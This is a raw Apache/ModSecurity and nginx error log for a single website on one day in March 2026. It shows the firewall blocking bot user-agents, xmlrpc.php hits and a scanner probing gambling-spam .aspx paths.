[Tue Mar 10 05:23:21.889150 2026] [:error] [pid 7904:tid 8003] [client 62.60.131.218:58320] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa86SdqdH-GCmASfJqHezQAAAAs"]
[Tue Mar 10 05:40:48.879520 2026] [:error] [pid 7908:tid 8053] [client 62.60.131.218:54625] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa8-YMY8gEjgYKb1A_jLJAAAAFI"]
[Tue Mar 10 06:29:30.934689 2026] [:error] [pid 32295:tid 32320] [client 118.99.73.60:8305] [client 118.99.73.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.99.73.60, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa9Jyo_FltxBAKWrlwjMhAAAAMI"]
[Tue Mar 10 06:45:18.128280 2026] [:error] [pid 31981:tid 32158] [client 190.86.74.81:18437] [client 190.86.74.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.86.74.81, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa9NfrAfo6Bks64fCDZoawAAAJY"]
[Tue Mar 10 09:23:00.840537 2026] [:error] [pid 32295:tid 32334] [client 43.165.70.220:53114] [client 43.165.70.220] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aa9ydI_FltxBAKWrlwjwBAAAANA"]
[Tue Mar 10 10:21:35.929005 2026] [:error] [pid 42666:tid 42668] [client 122.51.236.174:45766] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aa-AL40d5emjo-Hs7047UwAAAQA"]
[Tue Mar 10 14:09:52.870456 2026] [:error] [pid 42730:tid 42732] [client 103.214.60.65:37942] [client 103.214.60.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.214.60.65, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aa-1sMhla5zfkJ-81FCQQQAAAcA"]
[Tue Mar 10 16:50:52.445105 2026] [:error] [pid 21318:tid 21380] [client 117.33.163.216:56984] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa_bbBTTkPqKydpYiIJ-OQAAAIY"]
[Tue Mar 10 17:34:40.862014 2026] [autoindex:error] [pid 21400:tid 21407] [client 139.59.32.166:58019] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 19:48:33.886504 2026] [autoindex:error] [pid 14506:tid 14524] [client 139.59.32.166:45550] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Tue Mar 10 20:27:55.247419 2026] [:error] [pid 3874:tid 3941] [client 152.32.98.2:52764] [client 152.32.98.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abAOS-K9H96QUJV_mxYVIAAAAII"]
[Tue Mar 10 21:18:55.600743 2026] [:error] [pid 3873:tid 3932] [client 62.65.189.167:42282] [client 62.65.189.167] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abAaPy_mXXwyT3XINrokSwAAAFQ"]
[Tue Mar 10 21:19:05.250299 2026] [:error] [pid 3965:tid 3976] [client 178.153.94.81:42436] [client 178.153.94.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.4.122.14, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abAaSZN2nrVwtq9b0ran3wAAAMk"]
2026/03/10 21:19:59 [error] 3847#3847: *147730 upstream prematurely closed connection while reading response header from upstream, client: 135.181.180.59, server: measureyourbrand.com.au, request: "GET /pg%20joker%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20joker%20auto.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 21:19:59.622119 2026] [:error] [pid 3965:tid 3972] [client 135.181.180.59:43312] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abAaf5N2nrVwtq9b0raokgAAAMU"]
2026/03/10 21:20:02 [error] 3847#3847: *147760 upstream prematurely closed connection while reading response header from upstream, client: 135.181.180.59, server: measureyourbrand.com.au, request: "GET /pg%20osaka.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20osaka.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 21:20:02.053613 2026] [:error] [pid 3873:tid 3919] [client 135.181.180.59:43346] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abAagi_mXXwyT3XINrokkgAAAEc"]
[Tue Mar 10 21:20:04.733729 2026] [:error] [pid 3965:tid 3978] [client 135.181.180.59:43406] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abAahJN2nrVwtq9b0raopQAAAMs"]
2026/03/10 21:20:04 [error] 3838#3838: *147800 upstream prematurely closed connection while reading response header from upstream, client: 135.181.180.59, server: measureyourbrand.com.au, request: "GET /pg%20slot%20789.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20789.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:58:50.495048 2026] [:error] [pid 3872:tid 3895] [client 62.84.185.63:42062] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abAxqtseKmNoS38Y-zvfIAAAABM"]
2026/03/10 22:58:50 [error] 3847#3847: *219017 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /apollo%20slot%20pg.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/apollo%20slot%20pg.aspx", host: "measureyourbrand.com.au"
2026/03/10 22:58:53 [error] 3847#3847: *219049 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /auto%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/auto%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:58:53.219049 2026] [:error] [pid 3873:tid 3923] [client 62.84.185.63:42100] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abAxrS_mXXwyT3XINro9CAAAAEs"]
2026/03/10 22:58:56 [error] 3838#3838: *219088 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflik%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20casino.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:58:56.051770 2026] [:error] [pid 3872:tid 3900] [client 62.84.185.63:42148] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "abAxsNseKmNoS38Y-zvfJgAAABg"]
2026/03/10 22:58:58 [error] 3843#3843: *219127 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflik%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20co.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:58:58.719342 2026] [:error] [pid 3873:tid 3918] [client 62.84.185.63:42192] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "abAxsi_mXXwyT3XINro9GwAAAEY"]
2026/03/10 22:59:01 [error] 3846#3846: *219159 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflik%20dc.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20dc.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:01.499503 2026] [:error] [pid 3872:tid 3881] [client 62.84.185.63:42232] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abAxtdseKmNoS38Y-zvfMAAAAAU"]
2026/03/10 22:59:04 [error] 3833#3833: *219198 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflik%20original.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20original.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:04.268687 2026] [:error] [pid 3874:tid 3941] [client 62.84.185.63:42270] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abAxuOK9H96QUJV_mxZPAQAAAII"]
2026/03/10 22:59:07 [error] 3846#3846: *219238 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflik%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:07.132876 2026] [:error] [pid 3872:tid 3894] [client 62.84.185.63:42308] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abAxu9seKmNoS38Y-zvfMwAAABI"]
[Tue Mar 10 22:59:09.878417 2026] [:error] [pid 3874:tid 3945] [client 62.84.185.63:42346] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abAxveK9H96QUJV_mxZPDwAAAIY"]
2026/03/10 22:59:09 [error] 3843#3843: *219268 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflik%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflik%20thailand.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:12.557674 2026] [:error] [pid 3874:tid 3957] [client 62.84.185.63:42372] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abAxwOK9H96QUJV_mxZPEAAAAJI"]
2026/03/10 22:59:12 [error] 3819#3819: *219292 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflix%20auto.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20auto.aspx", host: "measureyourbrand.com.au"
2026/03/10 22:59:15 [error] 3820#3820: *219323 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflix%20casino.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20casino.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:15.379344 2026] [:error] [pid 3965:tid 3976] [client 62.84.185.63:42406] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abAxw5N2nrVwtq9b0rbkPAAAAMk"]
[Tue Mar 10 22:59:18.062901 2026] [:error] [pid 3874:tid 3939] [client 62.84.185.63:42442] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abAxxuK9H96QUJV_mxZPFgAAAIA"]
2026/03/10 22:59:18 [error] 3847#3847: *219355 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflix%20co.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20co.aspx", host: "measureyourbrand.com.au"
2026/03/10 22:59:20 [error] 3847#3847: *219389 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflix%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:20.984378 2026] [:error] [pid 3965:tid 3970] [client 62.84.185.63:42490] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abAxyJN2nrVwtq9b0rbkSgAAAMM"]
2026/03/10 22:59:23 [error] 3834#3834: *219414 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflix%20thailand.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20thailand.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:23.798153 2026] [:error] [pid 3874:tid 3952] [client 62.84.185.63:42526] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "abAxy-K9H96QUJV_mxZPHQAAAI0"]
2026/03/10 22:59:26 [error] 3817#3817: *219447 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /betflix%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/betflix%20wallet.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:26.545638 2026] [:error] [pid 3965:tid 3991] [client 62.84.185.63:42560] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abAxzpN2nrVwtq9b0rbkWwAAANg"]
2026/03/10 22:59:29 [error] 3846#3846: *219482 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /casino%20betflik.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflik.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:29.249382 2026] [:error] [pid 3874:tid 3962] [client 62.84.185.63:42604] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "abAx0eK9H96QUJV_mxZPIwAAAJc"]
[Tue Mar 10 22:59:31.980751 2026] [:error] [pid 3872:tid 3880] [client 62.84.185.63:42666] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "abAx09seKmNoS38Y-zvfSAAAAAQ"]
2026/03/10 22:59:31 [error] 3847#3847: *219521 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /casino%20betflix.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/casino%20betflix.aspx", host: "measureyourbrand.com.au"
2026/03/10 22:59:34 [error] 3826#3826: *219555 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /g2g%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/g2g%20slot.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:34.606331 2026] [:error] [pid 3965:tid 3984] [client 62.84.185.63:42706] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "abAx1pN2nrVwtq9b0rbkbgAAANE"]
[Tue Mar 10 22:59:37.042421 2026] [:error] [pid 3874:tid 3954] [client 62.84.185.63:42744] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "abAx2eK9H96QUJV_mxZPOQAAAI8"]
2026/03/10 22:59:37 [error] 3838#3838: *219582 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /galaxy%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/galaxy%20slot.aspx", host: "measureyourbrand.com.au"
2026/03/10 22:59:39 [error] 3834#3834: *219618 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /h25%20com.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/h25%20com.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:39.763700 2026] [:error] [pid 3965:tid 3974] [client 62.84.185.63:42794] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "abAx25N2nrVwtq9b0rbkewAAAMc"]
[Tue Mar 10 22:59:42.534994 2026] [:error] [pid 3965:tid 3988] [client 62.84.185.63:42832] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "abAx3pN2nrVwtq9b0rbkgwAAANU"]
2026/03/10 22:59:42 [error] 3819#3819: *219655 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /jili%20slot.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/jili%20slot.aspx", host: "measureyourbrand.com.au"
2026/03/10 22:59:45 [error] 3843#3843: *219728 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /joker%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/joker%20vip.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 22:59:45.344095 2026] [:error] [pid 3874:tid 3942] [client 62.84.185.63:42924] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "abAx4eK9H96QUJV_mxZPVQAAAIM"]
[Tue Mar 10 23:00:17.225147 2026] [:error] [pid 3873:tid 3931] [client 62.84.185.63:43480] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abAyAS_mXXwyT3XINro9eAAAAFM"]
2026/03/10 23:00:17 [error] 3843#3843: *220174 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot%20game.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20game.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:19.962937 2026] [:error] [pid 3965:tid 3991] [client 62.84.185.63:43526] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "abAyA5N2nrVwtq9b0rbk1gAAANg"]
2026/03/10 23:00:19 [error] 3847#3847: *220206 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot%20vegas.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vegas.aspx", host: "measureyourbrand.com.au"
2026/03/10 23:00:22 [error] 3835#3835: *220249 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot%20vip.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20vip.aspx", host: "measureyourbrand.com.au"
[Tue Mar 10 23:00:22.957703 2026] [:error] [pid 3874:tid 3954] [client 62.84.185.63:43570] [client 62.84.185.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "abAyBuK9H96QUJV_mxZPsgAAAI8"]
2026/03/10 23:00:25 [error] 3847#3847: *220282 upstream prematurely closed connection while reading response header from upstream, client: 62.84.185.63, server: measureyourbrand.com.au, request: "GET /pg%20slot%20wallet.aspx HTTP/1.1", upstream: "http://103.4.122.14:8181/pg%20slot%20wallet.aspx", host: "measureyourbrand.com.au"
